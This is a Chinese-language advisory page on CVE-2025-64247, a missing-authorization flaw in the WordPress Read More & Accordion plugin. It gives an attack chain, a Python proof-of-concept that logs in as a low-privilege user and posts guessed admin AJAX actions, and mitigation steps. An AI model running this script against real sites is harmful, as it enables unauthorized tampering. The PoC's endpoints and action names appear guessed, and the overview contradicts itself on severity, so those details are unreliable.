IPBUF安全漏洞报告
English
CVE-2025-64247 CVSS 4.3 中危

CVE-2025-64247: WordPress Read More & Accordion插件存在访问控制缺陷

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-64247
漏洞类型
访问控制缺陷 (Broken Access Control)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
edmon.parker Read More & Accordion expand-maker (WordPress插件)

相关标签

CVE-2025-64247WordPress插件漏洞访问控制缺陷Missing AuthorizationBroken Access ControlRead More & Accordionexpand-makeredmon.parker中危漏洞OWASP A01

漏洞概述

CVE-2025-64247是WordPress插件Read More & Accordion expand-maker中的一个高危安全漏洞,CVSS评分4.3,属于中等严重程度。该漏洞由PatchStack安全团队发现,编号为[email protected]。漏洞类型为Missing Authorization(缺少授权检查),属于OWASP Top 10 2021中的A01:2021-Broken Access Control类别。漏洞源于插件在处理某些关键功能时未能正确验证用户权限,允许低权限用户(如订阅者角色)执行本应需要更高权限(如管理员)的操作。具体影响范围为Read More & Accordion插件从某个未知版本至3.5.5.1版本。由于该插件被广泛应用于WordPress网站以实现折叠内容功能,此次漏洞可能影响大量使用该插件的网站。攻击者无需特殊技术背景即可利用此漏洞,但需要拥有一个低权限账户(如订阅者账户)即可实施攻击。

技术细节

该漏洞属于典型的Insecure Direct Object References (IDOR)或Missing Function Level Access Control(功能级访问控制缺失)问题。插件在实现Read More和Accordion展开功能时,对用户请求的权限验证不充分。具体来说,插件的某些管理接口或AJAX处理函数缺少capability检查(如current_user_can('manage_options')),导致任何已认证用户(包括低权限角色)都能访问和修改插件设置。攻击者可通过以下方式利用:1) 识别插件的AJAX端点或管理路由;2) 使用低权限账户发送请求;3) 由于缺少权限验证,请求被直接处理;4) 攻击者可修改插件配置、添加恶意内容或获取敏感信息。CVSS向量AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N表明该漏洞可通过网络利用,复杂度低,需要低权限认证,无用户交互,对完整性的影响大于机密性。

攻击链分析

STEP 1
1 - 信息收集
攻击者识别目标网站使用的WordPress版本和Read More & Accordion expand-maker插件版本(<=3.5.5.1)
STEP 2
2 - 账户获取
攻击者获取目标WordPress网站的一个低权限账户(如订阅者、贡献者角色),可通过注册功能或社会工程学手段获得
STEP 3
3 - 端点识别
攻击者识别插件的AJAX端点和管理路由,如/wp-admin/admin-ajax.php或插件特定的处理器文件
STEP 4
4 - 权限绕过
由于插件缺少current_user_can()等权限检查,低权限用户可直接向管理端点发送请求,无需提升权限
STEP 5
5 - 未授权操作
攻击者执行本应需要管理员权限的操作,如修改插件配置、访问敏感设置、添加恶意内容
STEP 6
6 - 持久化控制
攻击者可能通过修改插件设置植入后门或XSS payload,实现持久化访问或对其他用户发起攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64247 PoC - WordPress Read More & Accordion Broken Access Control # Affected versions: <= 3.5.5.1 # Vulnerability: Missing Authorization in plugin settings import requests import sys from urllib.parse import urljoin def exploit_cve_2025_64247(target_url, username, password): """ Exploit for CVE-2025-64247: Missing Authorization in Read More & Accordion plugin This PoC demonstrates how a low-privilege user can access admin functions. """ session = requests.Session() # Step 1: Login with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as low-privilege user: {username}') response = session.post(login_url, data=login_data, cookies=session.cookies) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Step 2: Identify vulnerable AJAX endpoint # Common plugin AJAX handlers ajax_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/expand-maker/ajax-handler.php', '/wp-content/plugins/read-more-accordion/ajax-handler.php' ] # Step 3: Try to access admin functions with low-privilege session # Example: Modify plugin settings admin_actions = [ {'action': 'expand_maker_save_settings', 'data': {'option_name': 'malicious_value'}}, {'action': 'read_more_save_config', 'data': {'config': 'modified_config'}}, {'action': 'accordion_admin_action', 'data': {'mode': 'unauthorized_access'}} ] print('[*] Attempting to access admin functions...') for ajax_endpoint in ajax_endpoints: full_url = urljoin(target_url, ajax_endpoint) for admin_action in admin_actions: post_data = { 'action': admin_action['action'], 'nonce': '0000', # May not be properly validated **admin_action['data'] } try: response = session.post(full_url, data=post_data, timeout=10) if response.status_code == 200: print(f'[+] Possible unauthorized access at: {ajax_endpoint}') print(f' Response: {response.text[:200]}') except requests.RequestException as e: print(f'[-] Request failed: {e}') # Step 4: Check if settings were modified print('[*] Verifying unauthorized changes...') settings_url = urljoin(target_url, '/wp-admin/admin.php?page=expand-maker-settings') response = session.get(settings_url) if response.status_code == 200: print('[+] Successfully accessed admin settings page without proper authorization') return True return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve-2025-64247.py <target_url> <username> <password>') print('Example: python cve-2025-64247.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_64247(target, user, pwd)

影响范围

Read More & Accordion expand-maker <= 3.5.5.1 (所有版本)
edmon.parker expand-maker 插件所有版本至3.5.5.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用或删除Read More & Accordion插件;2) 限制WordPress用户注册功能,只允许管理员创建账户;3) 使用WordPress内置函数添加临时访问控制,限制非管理员访问插件相关URL;4) 部署WAF规则阻止对插件AJAX端点的异常请求;5) 监控WordPress日志关注异常的管理操作;6) 考虑使用Alternative插件替代,但需确保新插件来自可信来源并保持更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表